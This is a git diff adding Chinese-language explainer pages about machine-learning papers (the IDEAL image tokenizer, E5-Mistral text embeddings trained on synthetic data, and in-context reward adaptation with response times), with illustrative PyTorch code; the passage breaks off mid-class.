+如果你只用深层特征做离散编码（当前主流做法），重建出来的图像就会丢失细节。
+如果你只用浅层特征，语义信息又不够强。
+
+更麻烦的是，一旦做了离散化（把连续向量变成 discrete token index），丢失的信息就几乎无法恢复——因为离散化本身就是一个"有损压缩"。
+
+---
+
+## IDEAL 怎么解决？
+
+IDEAL 的架构分四步，可以用一张图理解：
+
+```
+原始图像
+  │
+  ▼
+冻结的 VFM（提取浅层特征 + 深层特征）
+  │
+  ▼
+Cross-Attention 融合（浅层 + 深层 → 统一表示）
+  │
+  ▼
+向量量化 VQ（变成离散 token）
+  │
+  ▼
+特征解码器（重建浅层 + 深层特征）
+  │
+  ▼
+像素解码器（从深层特征重建图像）
+```
+
+关键创新有三处：
+
+### 1. 融合在量化之前
+
+浅层特征（第 8 层）和深层特征（第 24 层）先用一个**轻量级交叉注意力模块**融合，生成统一表示 z。
+这里的思路是：深层特征做 Query，浅层特征做 Key/Value——让语义去"查询"细节。
+
+### 2. 双向对齐损失
+
+训练时，解码器不仅要重建图像，还要同时重建浅层特征和深层特征。
+分别计算 `L_deep` 和 `L_shallow` 两个对齐损失：
+
+```
+L_deep   = ||f_hat_deep - f_deep||^2 + (1 - cos(f_hat_deep, f_deep))
+L_shallow = ||f_hat_shallow - f_shallow||^2 + (1 - cos(f_hat_shallow, f_shallow))
+```
+
+L2 距离保证数值接近，余弦相似度保证方向一致。
+
+### 3. 用冻结的 DINOv1 替代 PatchGAN
+
+传统 VQGAN 用 PatchGAN 做对抗训练。IDEAL 改用冻结的 DINOv1 模型做判别器，这样对抗信号不是"这张图看起来真"，而是"这张图的特征向量接近真实 VFM 的分布"——语义层面的监督。
+
+---
+
+## 代码示例
+
+### 示例 1：VQ 量化过程（从连续向量到离散 token）
+
+```python
+import torch
+
+class VectorQuantizer(torch.nn.Module):
+    """
+    向量量化器：把连续特征向量映射到离散 codebook 的最近邻。
+    
+    类比：你有一本词典（codebook），每个词对应一个定义向量。
+    给一个新句子，找到词典中定义最接近的那个词——这就是离散化。
+    """
+    def __init__(self, num_codes=16384, code_dim=64):
+        super().__init__()
+        # codebook: 16384 个词，每个词是一个 64 维向量
+        self.codebook = torch.nn.Parameter(
+            torch.randn(num_codes, code_dim)
+        )
+        # L2 归一化 codebook，让最近邻搜索更稳定
+        torch.nn.functional.normalize(self.codebook, p=2, dim=1)
+
+    def forward(self, z):
+        """
+        z: (batch, height, width, code_dim) 连续特征
+        返回: (batch, height, width) 离散 token index
+        """
+        # 展平空间维度
+        B, H, W, D = z.shape
+        flat = z.reshape(-1, D)  # (B*H*W, D)
+        
+        # 计算每个特征到 codebook 所有向量的距离
+        # codebook.T: (D, num_codes)
+        distances = torch.cdist(flat, self.codebook)  # (B*H*W, num_codes)
+        
+        # 取最近的 code 索引
+        indices = torch.argmin(distances, dim=1)  # (B*H*W)
+        
+        # 查表获取量化后的向量
+        codes = self.codebook[indices]  # (B*H*W, D)
+        
+        # reshape 回空间结构
+        quantized = codes.reshape(B, H, W, D)
+        
+        return indices.reshape(B, H, W), quantized
+
+
+# ---- 演示 ----
+# 假设编码器输出 (2, 24, 24, 64) 的特征图
+batch, h, w, dim = 2, 24, 24, 64
+encoder_output = torch.randn(batch, h, w, dim)
+
+vq = VectorQuantizer(num_codes=16384, code_dim=dim)
+token_indices, quantized = vq(encoder_output)
+
+print(f"输入形状:     {encoder_output.shape}")
+print(f"离散 token:   {token_indices.shape}")  # (2, 24, 24) 每个值在 [0, 16383]
+print(f"量化特征:     {quantized.shape}")      # (2, 24, 24, 64)
+```
+
+### 示例 2：IDEAL 的浅层+深层特征融合
+
+```python
+import torch
+import torch.nn as nn
+
+class IDEAL_Fusion(nn.Module):
+    """
+    IDEAL 的核心模块：浅层特征 + 深层特征 → 统一表示
+    
+    类比：深层特征像"总编辑"，浅层特征像"校对员"。
+    总编辑决定写什么（Query），校对员提供细节素材（Key/Value）。
+    """
+    def __init__(self, feature_dim=1024, num_heads=8):
+        super().__init__()
+        
+        # 深层特征的归一化（用 VFM 自带的）
+        self.deep_norm = nn.LayerNorm(feature_dim)
+        # 浅层特征的归一化（新学的）
+        self.shallow_norm = nn.LayerNorm(feature_dim)
+        
+        # 交叉注意力：deep=Query, shallow=Key/Value
+        self.cross_attn = nn.MultiheadAttention(
+            embed_dim=feature_dim,
+            num_heads=num_heads,
+            batch_first=True
+        )
+        
+        # 前馈网络：进一步处理融合结果
+        self.ffn = nn.Sequential(
+            nn.LayerNorm(feature_dim),
+            nn.Linear(feature_dim, feature_dim * 4),
+            nn.GELU(),
+            nn.Linear(feature_dim * 4, feature_dim),
+        )
+
+    def forward(self, deep_features, shallow_features):
+        """
+        deep_features:  (B, L, D) 深层特征，来自 VFM 最深层
+        shallow_features: (B, L, D) 浅层特征，来自 VFM 较浅层
+        
+        返回: (B, L, D) 融合后的统一表示 z
+        """
+        # 归一化
+        q = self.deep_norm(deep_features)   # Query: 语义主导
+        kv = self.shallow_norm(shallow_features)  # Key/Value: 细节主导
+        
+        # 交叉注意力融合
+        attn_out, _ = self.cross_attn(q, kv, kv)
+        
+        # 残差连接 + FFN
+        z = attn_out + deep_features
+        z = self.ffn(z) + z
+        
+        return z
+
+
+class IDEAL_Autoencoder(nn.Module):
+    """
+    IDEAL 整体框架：
+    
+    Encoder (冻结 VFM) → Fusion (可训练) → VQ (离散化)
+    → Decoder → Dual Feature Heads (双路重建)
+    """
+    def __init__(self, vfm, fusion_dim=1024, codebook_size=16384):
+        super().__init__()
+        
+        # 冻结 VFM 编码器
+        self.vfm = vfm
+        for param in self.vfm.parameters():
+            param.requires_grad = False
+        
+        # 浅层+深层融合
+        self.fusion = IDEAL_Fusion(fusion_dim)
+        
+        # 向量量化
+        self.codebook = nn.Parameter(torch.randn(codebook_size, fusion_dim))
+        nn.functional.normalize(self.codebook, p=2, dim=1)
+        
+        # 特征解码器
+        self.feature_decoder = nn.TransformerEncoder(
+            nn.TransformerEncoderLayer(d_model=fusion_dim, nhead=8, dim_feedforward=4*fusion_dim),
+            num_layers=6
+        )
+        
+        # 双路重建头
+        self.deep_head = nn.Linear(fusion_dim, fusion_dim)    # 重建深层语义
+        self.shallow_head = nn.Linear(fusion_dim, fusion_dim)  # 重建浅层细节
+        
+        # 像素解码器（从深层特征到图像）
+        self.pixel_decoder = nn.Sequential(
+            nn.ConvTranspose2d(fusion_dim, 512, 4, stride=2, padding=1),
+            nn.GELU(),
+            nn.ConvTranspose2d(512, 256, 4, stride=2, padding=1),
+            nn.GELU(),
+            nn.ConvTranspose2d(256, 128, 4, stride=2, padding=1),
+            nn.GELU(),
+            nn.Conv2d(128, 3, 3, padding=1),  # 3 通道 RGB 图像
+            nn.Sigmoid()
+        )
+
+    def encode_and_quantize(self, image):
+        """编码 + 融合 + 量化"""
+        # 从 VFM 提取多层特征（假设 vfm.extract_features 支持）
+        deep = self.vfm(image, layer=24)      # 深层语义 (B, L, D)
+        shallow = self.vfm(image, layer=8)    # 浅层细节 (B, L, D)
+        
+        # 融合
+        z = self.fusion(deep, shallow)        # (B, L, D)
+        
+        # 量化
+        flat = z.view(-1, z.shape[-1])        # (B*L, D)
+        dist = torch.cdist(flat, self.codebook)
+        idx = torch.argmin(dist, dim=1)
+        quantized = self.codebook[idx]
+        z_quant = quantized.view_as(z)
+        
+        return idx, z_quant, deep, shallow
+
+    def decode(self, z_quant):
+        """解码 + 双路重建"""
+        # 特征解码
+        g = self.feature_decoder(z_quant)
+        
+        # 双路重建
+        f_deep_hat = self.deep_head(g)
+        f_shallow_hat = self.shallow_head(g)
+        
+        # 像素解码（从重建的深层特征）
+        B, L, D = f_deep_hat.shape
+        H = W = int(L ** 0.5)
+        pixel_input = f_deep_hat.view(B, D, H, W)
+        image_hat = self.pixel_decoder(pixel_input)
+        
+        return image_hat, f_deep_hat, f_shallow_hat
+
+    def forward(self, image):
+        idx, z_quant, deep, shallow = self.encode_and_quantize(image)
+        image_hat, f_deep_hat, f_shallow_hat = self.decode(z_quant)
+        return image_hat, f_deep_hat, f_shallow_hat, idx
+```
+
+---
+
+## 实验结果速览
+
+IDEAL 在 ImageNet 上三个关键指标都领先：
+
+| 指标 | 数值 | 意义 |
+|------|------|------|
+| rFID = 0.61 | 比前 Best 低 0.28 | 重建图像质量极高 |
+| 零样本分类 Top-1 = 80.89% | 原 VFM 是 83.23% | 离散化后语义几乎无损 |
+| gFID = 1.89 (3B 模型) | AR 生成 SOTA | 做生成任务也最强 |
+
+关键对比：3B 参数的 IDEAL 在 gFID 上击败了扩散模型（DiT、SiT），而且训练时间更短、参数量更少。
+
+---
+
+## 消融实验揭示的三个发现
+
+1. **融合是必需的**：不用 fusion 直接拼接，rFID 从 0.61 飙升到 0.85
+2. **浅层监督有价值**：去掉 `L_shallow`，rFID 从 0.61 变差到 0.66
+3. **VFM 选择灵活**：DINOv2、DINOv3、SigLIP2 都能用，SigLIP2 因为自带文本对齐能力被选为默认
+
+---
+
+## 我的理解
+
+IDEAL 的核心洞察可以用一行公式概括：
+
+```
+好编码 = 深层语义(懂内容) + 浅层细节(能重建)
+```
+
+它没有发明复杂的新技术，而是做了一个很直白的观察——VFM 不同层的特征各有所长——然后让这两者合作。这就像你请一个"总编辑"和一个"校对员"一起工作，总编辑把握方向，校对员确保细节不丢。
+
+对于初学者，最重要的概念是**向量量化（VQ）**：把连续的浮点向量变成有限的离散编码。这是连接表示学习和生成的桥梁——有了离散 token，就能用自回归模型（和 LLM 处理文字一样的方式）来"生成"图像。
+
+---
+
+## 下一步想搞懂的问题
+
+1. 交叉注意力融合的具体实现——deep 做 query 为什么比双向 attention 好？
+2. 离散化到底丢了多少信息？有没有办法评估？
+3. IDEAL 扩展到视频会怎样？（论文提到这是下一步方向）
+
+> 思考题：如果你的图片是 384x384 像素，patch size = 16，那么特征图的空间尺寸是多少？每个 token 对应原图中多大的区域？（提示：384/16 = ?）
diff --git a/src/content/docs/papers/imagen-2022.md b/src/content/docs/papers/imagen-2022.md
index ff6503ea5..aaea098b6 100644
--- a/src/content/docs/papers/imagen-2022.md
+++ b/src/content/docs/papers/imagen-2022.md
@@ -2,8 +2,8 @@
 title: Imagen — 文生图真正的引擎是语言模型
 来源: Saharia et al., "Photorealistic Text-to-Image Diffusion Models with Deep Language Understanding", NeurIPS 2022 (Google Research)
 日期: 2026-05-31
-子分类: 模型与训练
-分类: 机器学习
+子分类: 系统综合
+分类: 基础设施
 难度: 中级
 provenance: pipeline-v3
 ---
diff --git a/src/content/docs/papers/improving-embeddings-llm.md b/src/content/docs/papers/improving-embeddings-llm.md
new file mode 100644
index 000000000..feff19832
--- /dev/null
+++ b/src/content/docs/papers/improving-embeddings-llm.md
@@ -0,0 +1,287 @@
+---
+title: 用 LLM 生成合成数据来训练文本向量
+来源: 'Wang et al., "Improving Text Embeddings with Large Language Models", arXiv 2401.00368, 2024 (ACL 2024)'
+日期: 2026-06-13
+分类: 信息检索
+子分类: 嵌入
+provenance: pipeline-v3
+---
+
+## 是什么
+
+这篇论文提出了一个简单但颠覆性的想法：**用 GPT-4 这样的闭源大模型生成合成训练数据，再拿这些数据来微调一个开源小模型（Mistral-7B），让它变成一个顶级的文本向量模型。** 名字叫 E5-Mistral-7B。
+
+日常类比：以前你要教一个学生做"阅读理解检索"，得先花几年时间让他博览群书（预训练），再给他几十万道老师批改过的练习题（监督微调）。这篇论文的套路是——请一个学霸（GPT-4）自己出题、自己写答案，然后让学生只靠这些"学霸出的题"练不到一千步就毕业了。而且成绩还比传统方法更好。
+
+它的关键创新在于**完全绕过人工标注**。之前的顶级 embedding 模型（E5、BGE）都要经过"大规模弱监督预训练 + 多轮人工标注微调"的复杂流水线。这篇论文证明：如果你有一个足够强的 LLM 来生成合成数据，中间那些繁琐步骤都可以省掉。
+
+## 为什么重要
+
+不理解这篇论文，就无法理解 2024 年以来 embedding 领域的范式转移：
+
+- 在此之前，所有人都认为 embedding 模型必须靠"多阶段训练"——先用几十亿对弱监督数据预训练，再用人工标注数据微调。这篇论文第一次证明单阶段就够了
+- 在此之前，顶级 embedding 用的是 BERT 风格的编码器（双向编码器）。这篇论文证明了 decoder-only LLM（如 Mistral-7B）也可以，而且效果更好
+- 在此之前，embedding 模型的多语言能力受限于人工标注数据的语言覆盖（比如 Instructor 只有 330 个英文指令）。这篇论文用 LLM 生成了 93 种语言的数据
+- 在此之后，"LLM 生成合成数据 → 微调小模型"这条路线成为主流——不只是 embedding，指令微调、代码生成等领域都在跟进
+
+简单来说，它把 embedding 模型的训练从"工业级流水线"简化成了"一步到位"。
+
+## 核心概念
+
+### 概念 1：合成数据生成的两步法
+
+论文的核心方法是**两步提示策略**：
+
+第一步——头脑风暴：让 GPT-4 列出各种可能的文本检索任务类型。比如"写一篇关于气候变化政策的中英文摘要"、"根据产品描述推荐最匹配的评论"等等。这一步是为了覆盖尽可能多的任务场景。
+
+第二步——生成数据：针对每一步脑暴出来的任务类型，让 GPT-4 生成具体的 (查询, 正面文档, 困难负样本) 三元组。困难负样本是指那些看起来相关但其实不匹配的文档——这才是训练embedding最有价值的信号。
+
+为什么要两步？论文尝试过一步到位（直接让 GPT-4 生成三元组），结果多样性不够。先让模型"想任务"再"做题"，相当于给了模型思考的时间，产出质量更高。
+
+### 概念 2：非对称 vs 对称任务
+
+embedding 任务分为两大类：
+
+**非对称任务**（asymmetric）：查询和文档长度/语义角色不同。比如搜索引擎里"简短的搜索词"去匹配"长长的网页文档"。论文进一步分成四种子类型：短查长、长查短、短短、长长。每种都设计了不同的 prompt 模板。
+
+**对称任务**（symmetric）：查询和文档语义相近但表达不同。比如语义相似度比较（"这两句话意思一样吗？"）和跨语言句对匹配（同一句话的英文和中文版）。这类任务不需要脑暴步骤，因为任务定义本身就很简单。
+
+### 概念 3：对比学习（InfoNCE Loss）
+
+训练 embedding 模型的核心目标是**对比学习**。用最直白的话说：
+
+想象你在一个舞会上，每个人手里拿着一张"语义名片"（向量）。对比学习的目标就是让语义相近的人站得近，语义不同的人站得远。
+
+具体怎么衡量远近？用**余弦相似度**——两个向量夹角越小，越相似。然后用一个叫 InfoNCE 的损失函数：对每个正样本对（查询和正确文档），把它在同一个 batch 里所有其他文档都当作负样本来推远。温度系数 tau（论文中设为 0.02）控制"远近"的敏感度。
+
+### 概念 4：指令前缀（Instruction Prefix）
+
+论文的一个关键技巧：给查询加指令前缀，格式是 `Instruct: {任务定义}\nQuery: {查询文本}`。文档侧不加任何东西。
+
+这意味着什么？意味着你可以通过改变查询侧的指令来**自定义模型的检索行为**，而不需要重新训练模型或重建索引。比如你想做"学术论文摘要检索"，就在指令里写明；想做"产品评论检索"，换一条指令就行。
+
+### 概念 5：为什么 LLM 不需要对比预训练
+
+之前的 embedding 模型（如 E5）需要先做一轮"对比预训练"——用大量无标签文本对让模型学会基本的语义对齐。但对 Mistral-7B 这种在万亿 token 上预训练的 LLM 来说，这一步**几乎没用**。
+
+论文的实验（图 3）显示：对小型模型（XLM-R-large），对比预训练能带来 8.2 分的提升；但对 Mistral-7B，提升微乎其微。原因是 LLM 的自回归预训练已经让它学会了足够好的语义表示，微调就能直接转化为 embedding 能力。
+
+## 代码示例
+
+### 示例 1：用合成数据格式训练一个简易对比学习 loop
+
+```python
+# 模拟论文中的合成数据格式：(任务定义, 查询, 正面文档, 困难负样本列表)
+synthetic_data = [
+    {
+        "task_definition": "根据用户的问题找到最相关的帮助文档",
+        "query": "如何重置我的密码？",
+        "positive": "要重置密码，请访问设置页面并点击'忘记密码'链接...",
+        "negatives": [
+            "如何更改我的用户名？",
+            "密码强度要求是什么？",
+        ],
+    },
+    {
+        "task_definition": "根据产品描述找到最匹配的买家评论",
+        "query": "这款耳机的降噪效果怎么样？",
+        "positive": "降噪效果超出预期，地铁上完全听不到外界噪音...",
+        "negatives": [
+            "电池续航时间能达到多久？",
+            "耳机佩戴舒适吗？",
+        ],
+    },
+]
+
+# 每条数据构造为对比学习格式
+training_samples = []
+for item in synthetic_data:
+    instruction = f"Instruct: {item['task_definition']}\nQuery: {item['query']}"
+    training_samples.append({
+        "anchor": instruction,       # 带指令的查询
+        "positive": item["positive"],
+        "negatives": item["negatives"],
+    })
+
+# 实际训练中，这些样本会被送入 Mistral-7B，取 [EOS] 位置的向量
+# 然后用 InfoNCE loss 优化：拉近 anchor 和 positive，推远 anchor 和 negatives
+```
+
+### 示例 2：用训练好的模型做检索（推理阶段）
+
+```python
+from transformers import AutoModel, AutoTokenizer
+import torch
+import numpy as np
+
+# 加载微调后的 E5-Mistral-7B 模型
+model_name = "intfloat/e5-mistral-7b-instruct"
+tokenizer = AutoTokenizer.from_pretrained(model_name)
+model = AutoModel.from_pretrained(model_name)
+
+def get_embedding(text, is_query=True, task_definition=""):
+    """把文本编码为向量"""
+    if is_query and task_definition:
+        # 查询侧加指令前缀
+        text = f"Instruct: {task_definition}\nQuery: {text}"
+    # 文档侧不加任何前缀
+
+    inputs = tokenizer(text, return_tensors="pt", truncation=True, max_length=512)
+
+    with torch.no_grad():
+        outputs = model(**inputs)
+
+    # 取 [EOS] 位置的向量作为文本表示
+    eos_mask = inputs["input_ids"] == tokenizer.eos_token_id
+    eos_indices = eos_mask.long().argmax(dim=-1)
+    embeddings = outputs.last_hidden_state.gather(
+        dim=1, index=eos_indices.unsqueeze(-1).unsqueeze(-1)
+    ).squeeze(1)
+
+    # L2 归一化，方便算余弦相似度
+    embeddings = embeddings / embeddings.norm(dim=1, keepdim=True)
+    return embeddings.numpy()
+
+# 建索引
+docs = [
+    "要重置密码，请访问设置页面并点击'忘记密码'链接...",
+    "降噪效果超出预期，地铁上完全听不到外界噪音...",
+    "这款手机电池容量为 5000mAh，正常使用可达两天...",
+]
+doc_embeddings = np.array([get_embedding(d, is_query=False) for d in docs])
+
+# 搜索
+query = "如何重置我的密码？"
+query_emb = get_embedding(query, is_query=True, task_definition="根据用户问题找到最相关的帮助文档")
+
+# 算余弦相似度，取 Top-K
+similarities = doc_embeddings @ query_emb.T
+top_idx = np.argsort(similarities)[::-1][0]
+print(f"最匹配文档: {docs[top_idx]}")
+print(f"相似度: {similarities[top_idx]:.4f}")
+```
+
+### 示例 3：用 LoRA 高效微调（论文实际用的训练方式）
+
+```python
+from peft import LoraConfig, get_peft_model
+from transformers import AutoModelForCausalLM, AutoTokenizer
+
+base_model = "mistralai/Mistral-7B-v0.1"
+tokenizer = AutoTokenizer.from_pretrained(base_model)
+model = AutoModelForCausalLM.from_pretrained(
+    base_model, torch_dtype=torch.float16, device_map="auto"
+)
+
+# 论文使用 LoRA rank=16，只训练少量参数
+lora_config = LoraConfig(
+    r=16,                    # 论文默认值
+    lora_alpha=32,
+    target_modules=["q_proj", "k_proj", "v_proj", "o_proj"],
+    lora_dropout=0.05,
+    bias="none",
+)
+model = get_peft_model(model, lora_config)
+model.print_trainable_parameters()
+# trainable params: 4,194,304 || all params: 7,241,745,152 || 0.058%
+
+# 训练配置
+# - 损失函数：InfoNCE (对比损失)
+# - 温度系数 tau = 0.02
+# - 训练步数：< 1000 步
+# - 优化器：AdamW + DeepSpeed ZeRO-3
+# - 数据量：50 万条合成数据（GPT-4 生成）+ 可选的 MS MARCO 标注数据
+```
+
+## 实验结果
+
+论文在两个权威 benchmark 上做了大量实验：
+
+**MTEB 基准**（56 个英语任务，涵盖分类、聚类、检索、相似度等 8 类）：
+
+| 模型 | 平均得分 | 说明 |
+|------|---------|------|
+| BGE-large-en-v1.5 | 64.2 | 之前的 SOTA，多阶段训练 |
+| E5-large-v2 | 62.3 | 两阶段训练，13 亿对弱监督数据 |
+| E5-Mistral-7B + 合成数据 | **63.1** | 零人工标注，仅 50 万条合成数据 |
+| E5-Mistral-7B + 合成+标注 | **66.6** | 超越 BGE 2.4 分，新 SOTA |
+
+关键发现：即使只用合成数据（零人工标注），E5-Mistral-7B 已经超过了几乎所有传统方法。加上少量标注数据后更是大幅领先。
+
+**多语言检索**（MIRACL 数据集，18 种语言）：在高资源语言（英、法、西语等）上表现优异，但在低资源语言上不如 mE5-base。作者承认这是因为 Mistral-7B 主要在英语上预训练，未来多语言 LLM 结合这个方法会更好。
+
+**长文本**：通过调整 RoPE 旋转基数，模型可以在 32K token 的上下文中做个性化密钥检索，准确率达 90%+，远超传统 512 token 的限制。
+
+## 踩过的坑
+
+1. **GPT-3.5 产出的质量不如 GPT-4**：论文发现 GPT-3.5 生成的部分数据不严格遵循 prompt 格式。虽然整体质量可接受且加入后有收益，但 GPT-4 的数据明显更干净。
+
+2. **指令前缀不是噱头**：去掉指令前缀后性能下降 4.2 分（从 64.5 降到 60.3）。这说明自然语言指令确实帮助模型理解了任务上下文，不是简单的文档化手段。
+
+3. **低资源语言的天花板**：合成数据覆盖了 93 种语言，但低资源语言的效果不如 mE5-base。根本原因是 Mistral-7B 本身在这些语言上的预训练不够充分。方法再好，底座不行也白搭。
+
+4. **推理成本高**：相比 BERT-style 的小模型，Mistral-7B 的推理速度慢很多，embedding 维度也有 4096。对于部署场景这是一个实际的成本权衡。
+
+## 适用 vs 不适用场景
+
+**适用**：
+
+- 从零开始构建一个新的 embedding 模型，不想花时间收集标注数据
+- 需要一个能自定义检索行为的通用模型（通过指令切换任务）
+- 多语言场景（93 种语言覆盖）
+- 长文本检索需求（可扩展到 32K token）
+
+**不适用**：
+
+- 算力受限、需要轻量级部署的场景——7B 参数的推理成本远高于 BERT 级别的几百 MB 模型
+- 低资源语言优先的场景——底座模型的预训练语言分布决定了天花板
+- 需要极致低延迟的在线检索——解码器架构的推理速度不如编码器
+
+## 历史小故事（可跳过）
+
+- **2022 年底** E5 用两阶段训练统治了 MTEB 榜单，但训练流程极其复杂：13 亿对弱监督数据 + 150 万对人工标注 + 多轮 hard negative 挖掘
+- **2023 年中** BGE 和 GTE 跟进，但都延续了 E5 的多阶段流水线
+- **2024 年 1 月** 这篇论文出现，直接把训练流程砍到一步：LLM 生成数据 → 微调。训练步数不到 1000
+- **2024 年 5 月** 论文被 ACL 2024 接收
+- 此后"LLM 生成合成数据训练下游模型"的思路蔓延到指令微调、代码生成、对话系统等多个领域
+
+## 学到什么
+
+1. **LLM 本身就是一个强大的数据工厂**——GPT-4 生成的合成数据质量足以媲美甚至超越人工标注数据
+2. **两阶段训练不是必须的**——对足够大的 LLM 底座，对比预训练可以省掉，直接微调即可
+3. **指令是零成本的"旋钮"**——通过改变查询侧的指令前缀，可以在不重新训练模型的情况下切换检索任务
+4. **数据多样性比数据量更重要**——50 万条多样化的合成数据（覆盖 93 种语言、数百种任务）胜过单一来源的数百万条
+5. **底座决定天花板**——合成数据方法再强大，如果底座模型在某种语言上预训练不足，效果就上不去
+
+## 关键概念词典
+
+- **InfoNCE loss**：对比学习的核心损失函数，本质是一个多分类问题——给定一个查询和一组文档，模型要选出哪个是真正的正样本
+- **LoRA**：低秩自适应，一种高效的微调技术，只训练少量额外参数（论文中占全部参数的 0.058%），大幅降低训练成本
+- **MTEB**：Massive Text Embedding Benchmark，当前 embedding 模型的事实标准评测基准，56 个任务跨 8 大类
+- **BEIR**：15 个零样本检索任务的集合，常用于评估 embedding 模型的泛化能力
+- **RoPE**：旋转位置编码（Rotary Positional Embedding），Transformer 的一种位置编码方式，论文中通过调整旋转基数来扩展上下文窗口
+- **EOS pooling**：取序列最后一个 [EOS] token 的隐藏状态作为整个文本的向量表示，论文采用的方式而非 [CLS] 或 mean pooling
+
+## 延伸阅读
+
+- 论文：[arXiv 2401.00368](https://arxiv.org/abs/2401.00368)
+- HuggingFace 模型：[intfloat/e5-mistral-7b-instruct](https://huggingface.co/intfloat/e5-mistral-7b-instruct)
+- MTEB 榜单：[huggingface.co/spaces/mteb/leaderboard](https://huggingface.co/spaces/mteb/leaderboard)
+- [[e5-2022]] —— E5 的前作，两阶段训练范式，本文在其基础上用 LLM 合成数据简化了流程
+- [[rag-lewis-2020]] —— RAG 的开山论文，embedding 是 RAG 系统的核心组件
+- [[dpr-2020]] —— 稠密检索先驱，对比 E5 看从"纯监督"到"合成数据"的演化
+
+## 关联
+
+- [[e5-2022]] —— E5 的前作，两阶段训练；本文用 LLM 合成数据将其压缩为一步
+- [[dpr-2020]] —— 稠密检索开山，需要大量人工标注；本文证明合成数据可以替代
+- [[rag-lewis-2020]] —— RAG 框架，embedding 是其中检索环节的核心
+- [[colbert-2020]] —— late interaction 检索路线，和本文单向量是稠密检索两大流派
+- [[llama]] —— Llama 系列的开源 LLM，和 Mistral 一样是 decoder-only 架构的代表
+- [[clip]] —— 跨模态对比学习，InfoNCE loss 的灵感来源，本文是纯文本版本
+
+## 反向链接
+
+<!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
+
+- 暂无
diff --git a/src/content/docs/papers/in-context-reward-adaptation-for-robust-preference-modeling-arxiv-2605-30323.md b/src/content/docs/papers/in-context-reward-adaptation-for-robust-preference-modeling-arxiv-2605-30323.md
new file mode 100644
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+---
+title: In-Context Reward Adaptation for Robust Preference Modeling
+来源: https://arxiv.org/abs/2605.30323
+日期: 2026-06-13
+分类: 机器学习
+子分类: ML 系统
+provenance: pipeline-v3
+---
+
+# In-Context Reward Adaptation for Robust Preference Modeling
+
+> **作者**: Zhenyu Sun (Northwestern), Zheng Xu (Meta Superintelligence Labs), Ermin Wei (Northwestern)
+> **发表**: arXiv 2605.30323, cs.LG / cs.AI, 2026-05-28
+
+## 一、一个日常类比：裁缝与衣服
+
+想象你是一位裁缝，要为顾客量体裁衣。
+
+传统 RLHF 的做法像是：**做一件标准码的衣服**，让所有顾客穿。有些人穿着合身，有些人穿着别扭——但模型觉得"差不多行了"。
+
+多奖励模型的做法像是：**准备五件不同尺码的衣服**（S/M/L/XL/XXL），按顾客的标签分类。但如果来了一个穿 3XL 的顾客呢？模型没有这件衣服。
+
+这篇论文提出的 **In-Context Reward Adaptation** 像是：**给裁缝看几个顾客的试穿照片**，让裁缝当场调整尺寸——不用重新学一遍怎么做衣服，而是"边看边调"。这就是 in-context learning（上下文学习）的思想。
+
+但论文发现了一个 surprising 的事实：**光看"合身/不合身"（二元偏好标签）是不够的**，裁缝需要更多信息（比如顾客回答问题的**反应时间**）才能真正量出正确的尺寸。
+
+## 二、核心概念拆解
+
+### 2.1 背景：RLHF 里的偏好建模
+
+在 RLHF（Reinforcement Learning from Human Feedback）中，我们训练一个**奖励模型**来模拟人类的偏好：
+
+```
+人类看到两个回答 y_w（好）和 y_l（差），给出偏好信号
+奖励模型学习：这个人类更喜欢 y_w 而不是 y_l
+然后奖励模型指导 LLM 生成更符合偏好的内容
+```
+
+关键假设是：**所有人类的偏好可以用一个统一的奖励函数表示**。但这显然不对——不同文化、不同背景的人对同一个回答的评价可能天差地别。
+
+### 2.2 什么是 In-Context Reward Adaptation？
+
+给定一个**新的人类**，我们不给模型重新训练，而是提供几条**偏好演示**（preference demonstrations），让模型在推理时"临时理解"这个人的偏好结构：
+
+```
+训练阶段:
+  从 N 个不同人类身上收集偏好数据 (x, y0, y1, z)，z 表示人类更喜欢 y1 还是 y0
+  训练一个 Transformer，让它学会"从演示中推断偏好"
+
+推理阶段（对新人类）:
+  给它 M 条新人类的偏好演示
+  让它预测新人类对"新问题"的偏好
+  不需要更新任何参数！
+```
+
+### 2.3 核心发现一：二元偏好不够用（不可能性定理）
+
+论文最重要的理论贡献是**证明了仅用二元偏好标签（y0 更好还是 y1 更好），Transformer 无法适配未见过的奖励参数**。
+
+**直观理解**：
+- 二元标签只告诉模型"方向"（更喜欢左边还是右边），不告诉"程度"（差多少）
+- 不同的奖励参数可能产生完全相同的二元偏好模式
+- 这就像只知道"温度在零上还是零下"，无法精确推断实际温度值
+
+数学上，这被称为**渐近偏差**（asymptotic bias）：即使有无限数据、完美优化，模型对新人类的预测分布和真实偏好分布之间的总变差距离仍然大于零。
+
+### 2.4 核心发现二：反应时间拯救一切
+
+解决方案：**把人类做出选择所需的反应时间（response time）也作为输入**。
+
+为什么反应时间有用？
+
+```
+人类面对两个选项时：
+  - 如果偏好非常强烈 → 几乎毫不犹豫 → 反应时间很短
+  - 如果偏好很模糊 → 犹豫不决 → 反应时间很长
+
+所以反应时间编码了"偏好强度"的信息！
+```
+
+论文从认知科学的**漂移扩散模型**（Drift-Diffusion Model）推导出一个关键等式：
+
+```
+偏好强度 ϕ^T θ  =  (1/2) × E[偏好标签z | ϕ] / E[反应时间t | ϕ]
+```
+
+这个公式的意思是：**偏好标签除以反应时间，可以线性地恢复出奖励参数的大小**。这解决了二元标签只编码符号、不编码幅度的根本缺陷。
+
+### 2.5 Prompt 矩阵构造
+
+原始方法（只用二元偏好）的 prompt 矩阵：
+
+```
+[ 特征_回答A   特征_回答B   偏好标签 ]
+[  ϕ_0^1       ϕ_1^1       z_1     ]
+[  ϕ_0^2       ϕ_1^2       z_2     ]
+[     ...        ...        ...    ]
+[  ϕ_0^q       ϕ_1^q        ?     ]  ← 预测未知项
+```
+
+增强方法（加入反应时间）的 prompt 矩阵：
+
+```
+[ 特征_回答A   特征_回答B   反应时间t   偏好标签z ]
+[  ϕ_0^1       ϕ_1^1       t_1         z_1      ]
+[  ϕ_0^2       ϕ_1^2       t_2         z_2      ]
+[     ...        ...        ...         ...     ]
+[  ϕ_0^q       ϕ_1^q        ?          ?        ]
+```
+
+Transformer 内部实际使用**差值特征**和**比率**：
+
+```
+列 l 的内容 = [  ϕ_1^l - ϕ_0^l     ,     z_l / t_l  ]
+```
+
+## 三、代码示例
+
+### 示例 1：构建 Prompt 并预测偏好
+
+这个示例展示了论文中描述的核心机制：用差值特征和偏好-时间比率构造输入，然后用线性注意力机制做 in-context 预测。
+
+```python
+import torch
+import torch.nn as nn
+import torch.nn.functional as F
+
+
+class InContextRewardTransformer(nn.Module):
+    """简化版 In-Context Reward Adaptation Transformer"""
+
+    def __init__(self, feature_dim: int):
+        super().__init__()
